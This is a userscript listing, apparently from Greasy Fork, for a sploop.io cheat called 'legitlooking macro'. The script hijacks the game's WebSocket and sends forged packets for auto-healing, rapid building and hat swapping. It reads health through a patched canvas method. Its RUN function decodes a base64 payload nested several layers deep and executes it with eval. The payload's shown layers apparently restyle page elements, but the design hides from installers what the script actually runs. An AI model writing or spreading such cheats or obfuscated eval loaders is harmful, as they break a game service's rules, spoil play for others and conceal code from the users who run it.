legitlooking macro

1

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

You will need to install an extension such as Tampermonkey to install this script.

Tendrás que instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Tendrás que instalar una extensión como Tampermonkey antes de poder instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

// ==UserScript==
// @name legitlooking macro
// @version 1
// @description 1
// @author 1
// @match *://sploop.io/*
// @icon https://sploop.io/img/ui/favicon.png
// @license MIT
// @namespace https://greasyfork.org/users/1311498
// ==/UserScript==

let n = 0x1 / 0;
let WTFF;
const log = console.log;
let adminhere = false;

function initialize(XITED) {
    WTFF = XITED;
}

WebSocket.prototype.lastSend = WebSocket.prototype.send;

window.WebSocket = new Proxy(window.WebSocket, {
    construct(target, args) {
        const XITED = new target(...args);
        if (args[0].includes("sploop")) initialize(XITED);
        return XITED;
    }
});

WebSocket.prototype.send = function (data) {
    this.lastSend(data);
    if (WTFF !== this) WTFF = this;
};

let Sploop = {
    HEALTH: 100,
    WEAPON: 0,
    ANGLE: 0,
    CPS: 1000 / 50, // equivalent to 50 cps.
    HealingSpeed: 150,
    SUBMIT: {
        food: { ID: 2, KEY: "KeyQ" },
        wall: { ID: 3, KEY: "Digit4" },
        spike: { ID: 4, KEY: "KeyV" },
        windmill: { ID: 5, KEY: "Digit6" },
        trap: { ID: 7, KEY: "KeyF" },
        roof: { ID: 8, KEY: "Digit8" },
        cosybed: { ID: 9, KEY: "Digit9" },
    },
    HATS: {
        BushHat: { id: 1, defaultKey: "" },
        BerserkerGear: { id: 2, defaultKey: "KeyB" },
        JungleHat: { id: 3, defaultKey: "KeyG" },
        CrystalGear: { id: 4, defaultKey: "KeyY" },
        SpikeGear: { id: 5, defaultKey: "KeyH" },
        ImmunityGear: { id: 6, defaultKey: "" },
        BoostHat: { id: 7, defaultKey: "KeyN" },
        AppleHat: { id: 8, defaultKey: "" },
        ScubaGear: { id: 9, defaultKey: "KeyZ" },
        HoodHat: { id: 10, defaultKey: "" },
        DemolistHat: { id: 11, defaultKey: "KeyC" }
    },
    HOLD: (ID) => {
        WTFF.send(new Uint8Array([0, ID]));
    },
    HIT: (_) => {
        _ = Math.round(65535 * ((Sploop.ANGLE % 360) * Math.PI / 180 + Math.PI) / (2 * Math.PI));
        WTFF.send(new Uint8Array([19, 255 & _, _ >> 8 & 255]));
        WTFF.send(new Uint8Array([18, 0]));
    },
    Weapon: () => {
        WTFF.send(new Uint8Array([0, Sploop.WEAPON]));
    },
    PLACE: (ID) => {
        Sploop.HOLD(ID);
        Sploop.HIT();
        setTimeout(()=>{
        Sploop.Weapon();
        },10);
    },
    BUY: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 1]));
    },
    EQUIP: (ID) => {
        Sploop.BUY(ID);
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    EQUIP2: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    CHAT: (text, arg) => {
        arg = new TextEncoder();
        text = arg.encode(text);
        WTFF.send(new Uint8Array([7, ...text]));
    },
    isInGame: () => {
        const homepage = document.getElementById("homepage");
        if(homepage.style.display === "none"){
            return true;
        } else {
            return false;
        }
    },
    isAVAILABLE: () => {
        if(!Sploop.isInGame) return;
        const chatWrapper = document.getElementById("chat-wrapper");
        const clanMenu = document.getElementById("clan-menu");
        if (chatWrapper.style.display === "block" || clanMenu.style.display === "block") return false;
        return true;
    },
    KEYS: {
        DOWN: (event) => {
            heal.start(event.code);
            wall.start(event.code);
            spike.start(event.code);
            windmill.start(event.code);
            trap.start(event.code);
            roof.start(event.code);
            cosybed.start(event.code);

            if (event.code === "Digit1" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 0;
            }

            if (event.code === "keyP" && Sploop.isAVAILABLE()) {
                adminhere = true
            }
            if (event.code === "KeyO" && Sploop.isAVAILABLE()) {
                adminhere = false
            }

            if (event.code === "Digit2" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 1;
            }
            Object.keys(Sploop.HATS).forEach((key) => {
                if (Sploop.HATS[key].defaultKey === event.code && Toggles.EQUIP && Sploop.isAVAILABLE()){
                    Toggles.EQUIP = false;
                    Sploop.EQUIP(Sploop.HATS[key].id);
                    setTimeout(() => {
                        Toggles.EQUIP = true;
                    }, 1500);
                }
            });
        },
        UP: (event) => {
            heal.stop(event.code);
            wall.stop(event.code);
            spike.stop(event.code);
            windmill.stop(event.code);
            trap.stop(event.code);
            roof.stop(event.code);
            cosybed.stop(event.code);
        }
    },
    RUN: () => {
        const STRING = "Y29uc3QgU1RSSU5HID0gIlkyOXVjM1FnVTFSU1NVNUhJRDBnSWxreU9YVmpNMUZuV0hsQk9VbEljMHRKUTBGblNVTlJObHBIT1dwa1Z6RnNZbTVSZFdOWVZteGpibXhVV2xkNGJGa3pVblpqYVdkcFNUSmtlV0ZYVVhSa1J6bHVXako0YkVscGEzTkRhVUZuU1VOQmEwcEVjR3RpTWs0eFlsZFdkV1JETlhoa1YxWjVaVlpPYkdKSFZtcGtSemw1UzBOSmFscEhiSHBqUjNob1pWTXhkMkZYTlc1TVdGSjJXakprYzFwVFNYQk1RVzluU1VOQlowcERVV3RQYlZKMldUTldkRnBYTlRCTWJrWXhXbGhLTlZVeVZuTmFWMDR3WWpOSmIwbHBUblZaV0ZKd1pHMVZkR0ZIVm5OalIxWjVURmhTZGxveVpITmFVMGx3VEVGdlowbERRV2RLUTFGclNrUndhMkl5VGpGaVYxWjFaRU0xZUdSWFZubGxWazVzWWtkV2FtUkhPWGxMUTJOcVltMUdNR0ZZV214TVdFcHNZbTFTYkdOcE1UQmlNbVJ1WWtkVmJrdFJjRGxEYlU1MlltNU9NRWxHT1daSlJEQm5aWGR2WjBsRFFXZEtSSEJyWWpKT01XSlhWblZrUXpWdVdsaFNSbUpIVm5SYVZ6VXdVVzVzU2xwRFoybGlSemw2WkVoa2RtTnRlR3RNVjJ4MldIcHJNMDFJWjNsT1ZFRnBTMU4zUzBsRFFXZEpRMUZyVDIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMHB1V1ZjeGJFeFhTblprU0ZKMllsTXhhbUl5TlRCYVZ6VXdTV2xyYzBOcFFXZEpRMEZyU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U1cxa2FHSlhWWFJpUjFadFpFTXhhbUl5TlRCYVZ6VXdURmN4YUdGWE5HbExVM2RMU1VOQlowbERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYldSb1lsZFZkR050Ykc1aFNGRjBXVEk1ZFdSSFZuVmtRekYwV1Zkc2RVbHBhM05EYVVGblNVTkJhMHBEVVd0S1JIQnJZakpPTVdKWFZuVmtRelZ1V2xoU1JtSkhWblJhVnpVd1VXNXNTbHBEWjJsWk0wcDJZek5OZEdOSVNuWmlWemhwUzFOM1MwbERRV2RKUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV0pIVm0xa1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMDl0VW5aWk0xWjBXbGMxTUV4dFpHeGtSVlp6V2xjeGJHSnVVa05sVld4clMwTktlV0ZYWkc5a1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV05IT1hOaFYwNDFTV2xyYzBOcFFXZEpRMEZyU2tOUmEwcERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYlhoMldqSTRhVXRSY0RsRGJVNTJZbTVPTUVsR09XWlllVUU1U1VoelMwbERRV2RKUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlLTWs1dldWaFJkR1F6U21oalNFSnNZMmxqY0V4QmIyZEpRMEZuU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U2pKT2MxbFhOSFJpVjFaMVpGTmpjRXhCYjJkSlEwRm5Ta05SYTA5dFVuWlpNMVowV2xjMU1FeHRaR3hrUlZaeldsY3hiR0p1VWtObFZXeHJTME5rYjFsWVVYUmlWMVoxWkZOamNFeEJiMmRKUTBGblNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5ibUZIT1hSYVdFSm9XakpWYmt0UmNEbERhVUZMU1VGd1VGbHRjR3haTTFGMVpHMUdjMlJYVm5wTFJqaHdURzFhZG1OclZtaFpNbWR2U2tOQk9WQnBRamREYVVGblNVTkJhMHh0VG5OaFYwNXlTME5yTjBOdU1IQkRhemxwWVcxV2FtUkROVEpaVjNneFdsaE5iMWd4T0hCTWJWcDJZMnRXYUZreVoyOUtRMEU1VUdsQ04wTnBRV2RKUTBGclRHNU9NR1ZYZUd4SlJEQm5TVzFTY0dNelFuTlpXR3MyWW0wNWRWcFRTVGREYmpCd1EyczVhV0Z0Vm1wa1F6VXlXVmQ0TVZwWVRXOVlNVGxtUzFNMWJXSXpTa1paVjA1dlMwTlJaMUJVTkdkbGQyOW5TVU5CWjBwRE5YcGtTR3h6V2xNMWRtTkhSbXBoV0ZJMVNVUXdaMGxxUVhWTmVVazNRMjR3Y0VOcFFVdFpNamwxWXpOUloxZ3hPV1pZZVVFNVNVZFNkbGt6Vm5SYVZ6VXdURzVHTVZwWVNqVlZNbFp6V2xkT01HSXpTa0ppUjNkdlNXazFiMXBYUm10YVdFbHpTVU0xYTFwWVRtcGpiV3gzWkVkc2RtSnBkMmRNYmtKMlkwTXhNR0l6UVhWak1sWnpXbGRPTUVscGF6ZERiVnAyWTJsQmIySkhWakJKUjJ0blVGTkJkMDk1UW5CSlJIZG5XREU1WmxoNU5YTmFWelZ1WkVkbk4wbEhhM0pMZVd0blpYZHZaMGxEUVdkWk1qbDFZek5SWjFoNVFUbEpSamxtV0RFNVltRldNRGREYVVGblNVTkNaa3h1U214aVZ6a3lXbE5uY0U5M2NEbERhVUZMV2tjNWFtUlhNV3hpYmxGMVdqSldNRkpYZUd4aVYxWjFaRVZLTlZOWFVXOUtNakZvWVZjMGRGa3lPWFZrUjFaMVpFTmpjRXh1VGpCbFYzaHNTVVF3WjBsdFNtaFpNblJ1WTIwNU1XSnRVVFpKU0VwdVdXbG5lVTFEUVhsTlEwRjVUVU5CZGtsRVFXeExWSE5wUTIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMlJ1V1ZjeGJFeFhNWEJhUjFKeldsTXhkRmxYYkhWS2VXdDFZek5TTldKSFZXZFFVMEZwWWtkV2JXUkViekZOUTFVM1NVaFNlVmxYTlhwYWJUbDVZbFJ3TUdOdFJuVmpNbmhvWkVkV1dVdERNREZOUTFWd1QzbEpTMXBIT1dwa1Z6RnNZbTVSZFZveVZqQlNWM2hzWWxkV2RXUkZTalZUVjFGdlNqSTFhR1JwWTNCTWJrNHdaVmQ0YkVsRU1HZEpibVJ3V2toU2IwOXBRVEZPVTFVM1NXYzlQU0k3Q21OdmJuTjBJRkpGUTA5U1JDQTlJR0YwYjJJb1UxUlNTVTVIS1RzS1pYWmhiQ2hTUlVOUFVrUXAiOwpjb25zdCBSRUNPUkQgPSBhdG9iKFNUUklORyk7CmV2YWwoUkVDT1JEKQ==";
        const RECORD = atob(STRING);
        eval(RECORD);
    }
};

let Toggles = {
    AUTOHEAL: true,
    //AUTOCHAT: false,
    //AUTOSPAWN: false,
    EQUIP: true,
};
CanvasRenderingContext2D.prototype._originalFillRect = CanvasRenderingContext2D.prototype.fillRect;

CanvasRenderingContext2D.prototype.fillRect = function(x, y, width, height) {
    this._originalFillRect(x, y, width, height);
    if (Sploop.isInGame()) {
        if (this.fillStyle === "#a4cc4f") {
            const health = width + 5; // 95 + 5.
            Sploop.HEALTH = Math.round(health); //100
            if(Sploop.HEALTH < 0) Sploop.HealingSpeed = 40;
            if (Sploop.HEALTH < 66 && Sploop.HEALTH > 0 && Toggles.AUTOHEAL) {
                setTimeout(()=>{
                    Sploop.PLACE(Sploop.SUBMIT.food.ID);
                }, 100);
            }
        }
    }
};

let canvas = document.getElementById("game-canvas"), centerX, centerY;

document.addEventListener('mousemove', function(event) {
    centerX = canvas.clientWidth / 2;
    centerY = canvas.clientHeight / 2;
    Sploop.ANGLE = Math.atan2(event.clientY - centerY, event.clientX - centerX) * (180 / Math.PI);
});
function repeater(code, callback, interval) {
    let intervalId = null;

    function start(key) {
        if (key === code && Sploop.isAVAILABLE() && !intervalId) {
            intervalId = setInterval(callback, interval);
        }
    }

    function stop(key) {
        if (key === code) {
            clearInterval(intervalId);
            intervalId = null;
        }
    }

    return { start, stop };
}
const heal = repeater(Sploop.SUBMIT.food.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.food.ID);
}, 40);
const wall = repeater(Sploop.SUBMIT.wall.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.wall.ID);
}, 40);
const spike = repeater(Sploop.SUBMIT.spike.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.spike.ID);
}, 18.5);
const windmill = repeater(Sploop.SUBMIT.windmill.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
}, 40);
const trap = repeater(Sploop.SUBMIT.trap.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.trap.ID);
}, 18.5);
const roof = repeater(Sploop.SUBMIT.roof.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.roof.ID);
}, 40);
const cosybed = repeater(Sploop.SUBMIT.cosybed.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.cosybed.ID);
}, 40);

document.addEventListener("keydown", Sploop.KEYS.DOWN);
document.addEventListener("keyup", Sploop.KEYS.UP);

// if(Sploop.isInGame()){
//   if (Toggles.AUTOCHAT) {
//       setInterval(() => {
//           Sploop.CHAT("WTFF Client.");
//           setTimeout( () => {
//               Sploop.CHAT("A Public Sploop cheat!.")
//           },1500)
//           setTimeout( () => {
//               Sploop.CHAT("Download on greasyfork!.")
//           },3000)
//           //Sploop.CHAT(setInterval() * setTimeout()); no idea.
//       }, 4500);
//   }
// }
(function TOGGLES(){
    const play = document.getElementById("play");
    play.onclick = function(){
        //if(Toggles.AUTOSPAWN) return;
        Sploop.WEAPON = 0; //primary.
        Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
        Sploop.EQUIP(Sploop.HATS.BoostHat.id)
    }
    //setInterval( () => {
    //    if(Toggles.AUTOSPAWN) play.click();
    //},100)
})();


Sploop.RUN();